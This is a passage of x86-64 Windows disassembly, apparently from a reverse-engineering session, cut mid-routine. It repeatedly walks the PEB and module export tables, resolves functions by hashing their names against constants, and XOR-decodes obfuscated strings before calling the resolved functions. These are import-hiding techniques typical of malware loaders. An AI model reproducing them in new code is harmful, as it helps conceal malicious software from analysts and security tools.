movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140075992
cmp r8d, 0x1b
jge 0x140075ae3
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1b
jl 0x140075ab0
lea rdx, [rbp + 0x68]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x48], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075b87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075b87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x6b1d461e
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140075b82
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140075b60
cmp r8d, 0x9748efae
je 0x140075b8c
test r9d, r9d
jne 0x140075b40
mov rcx, qword [rcx]
jmp 0x140075b10
mov ecx, dword [rdi + 0x24]
mov r8d, esi
movups xmm0, xmmword [str.r_UBOYSZy2___r2__v_._9]
mov eax, dword [0x140139090]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov dword [rbp + 0x80], eax
movzx eax, byte [0x140139094]
mov byte [rbp + 0x84], al
movups xmmword [rbp + 0x68], xmm0
movsd xmm0, qword [0x140139088]
movsd qword [rbp + 0x78], xmm0
cmp r14d, 2
jl 0x140075d17
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x6c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x140075c10
cmp r8d, 0x1d
jge 0x140075d54
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x1d
jl 0x140075d21
lea rdx, [rbp + 0x68]
mov rcx, r13
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x50], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140075df7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140075df7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4a6f0369
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140075df2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140075dd0
cmp r8d, 0x6b47c071
je 0x140075dfc
test r9d, r9d
jne 0x140075db0
mov rcx, qword [rcx]
jmp 0x140075d80
mov ecx, dword [rdi + 0x24]
mov r8d, esi
mov eax, dword [0x140139140]
add rcx, r10
movsd xmm0, qword [str.rRnSUXRIo2._]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
mov dword [rbp + 0xb0], eax
add r11, r10
movzx eax, word [0x140139144]
mov word [rbp + 0xb4], ax
movzx eax, byte [0x140139146]
mov byte [rbp + 0xb6], al
movsd qword [rbp + 0xa8], xmm0
cmp r14d, 2
jl 0x140075f60
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.rRnSUXRIo2._]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0xa8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0xac]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x140075f70
lea rdx, [rbp + 0xa8]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x58], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076047
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076047
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x2e9fa92f
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140076042
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140076020
cmp r8d, 0x3a5513fb
je 0x14007604c
test r9d, r9d
jne 0x140076000
mov rcx, qword [rcx]
jmp 0x140075fd0
mov ecx, dword [rdi + 0x24]
movups xmm0, xmmword [str.uE_XNkTP__6_a_]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
movups xmmword [rbp + 0x170], xmm0
add r11, r10
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140076213
cmp r14d, 2
jl 0x1400761d1
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x174]
movdqa xmm5, xmmword [0x1401395c0]
mov edx, esi
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1400760d0
jmp 0x140076213
lea r9, [rbp + 0x170]
mov r8d, esi
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x10
jl 0x1400761e0
lea rdx, [rbp + 0x170]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x60], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400762b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400762b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xbd0cd4a9
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400762b2
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140076290
cmp r8d, 0x97af5bb1
je 0x1400762bc
test r9d, r9d
jne 0x140076270
mov rcx, qword [rcx]
jmp 0x140076240
mov ecx, dword [rdi + 0x24]
mov r8d, esi
mov eax, dword [0x140138328]
add rcx, r10
movsd xmm0, qword [str.eRLnSUXRIs___]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
mov dword [rbp + 0xa0], eax
add r11, r10
movzx eax, word [0x14013832c]
mov word [rbp + 0xa4], ax
movzx eax, byte [0x14013832e]
mov byte [rbp + 0xa6], al
movsd qword [rbp + 0x98], xmm0
cmp r14d, 2
jl 0x140076420
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.eRLnSUXRIs___]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x98], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0x9c]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x140076430
lea rdx, [rbp + 0x98]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x68], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076507
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076507
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb01199d3
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140076502
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1400764e0
cmp r8d, 0xf616b097
je 0x14007650c
test r9d, r9d
jne 0x1400764c0
mov rcx, qword [rcx]
jmp 0x140076490
mov ecx, dword [rdi + 0x24]
mov r8d, esi
mov eax, dword [0x140138788]
add rcx, r10
movsd xmm0, qword [str.qRLnSUXRIs___]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
mov dword [rbp + 0xc0], eax
add r11, r10
movzx eax, word [0x14013878c]
mov word [rbp + 0xc4], ax
movzx eax, byte [0x14013878e]
mov byte [rbp + 0xc6], al
movsd qword [rbp + 0xb8], xmm0
cmp r14d, 2
jl 0x140076670
movdqa xmm2, xmmword [0x1401395c0]
mov r8d, 8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm0, xmm2
mov eax, dword [str.6666666666666666]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qRLnSUXRIs___]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0xb8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
movd xmm1, dword [rbp + 0xbc]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0xbc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0xb8]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xf
jl 0x140076680
lea rdx, [rbp + 0xb8]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x70], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076757
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076757
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xda7fbae1
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140076752
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140076730
cmp r8d, 0xe3a8e7b9
je 0x14007675c
test r9d, r9d
jne 0x140076710
mov rcx, qword [rcx]
jmp 0x1400766e0
mov ecx, dword [rdi + 0x24]
mov r8d, esi
movups xmm0, xmmword [0x140138678]
movzx eax, byte [0x140138688]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov byte [rbp + 0x48], al
movups xmmword [rbp + 0x38], xmm0
cmp r14d, 2
jl 0x1400768d7
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x3c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1400767d0
cmp r8d, 0x11
jge 0x140076914
movsxd rax, r8d
lea r9, [rbp + 0x38]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x11
jl 0x1400768e1
lea rdx, [rbp + 0x38]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rsp + 0x78], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400769b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400769b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xc7e2ea3
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400769b2
nop
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x140076990
cmp r8d, 0xd1908ee7
je 0x1400769bc
test r9d, r9d
jne 0x140076970
mov rcx, qword [rcx]
jmp 0x140076940
mov ecx, dword [rdi + 0x24]
mov r8d, esi
movups xmm0, xmmword [str.qRLjCHHXSr_506F]
movzx eax, byte [0x1401391f8]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov byte [rbp + 0x48], al
movups xmmword [rbp + 0x38], xmm0
cmp r14d, 2
jl 0x140076b37
movdqa xmm0, xmmword [str.6666666666666666]
lea rcx, [rbp + 0x3c]
movdqa xmm5, xmmword [0x1401395c0]
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x140076a30
cmp r8d, 0x11
jge 0x140076b74
movsxd rax, r8d
lea r9, [rbp + 0x38]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x11
jl 0x140076b41
lea rdx, [rbp + 0x38]
mov rcx, r15
call r11
mov rcx, qword gs:[0x60]
mov qword [rbp - 0x80], rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140076c17
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140076c17
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa2eb66b5
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
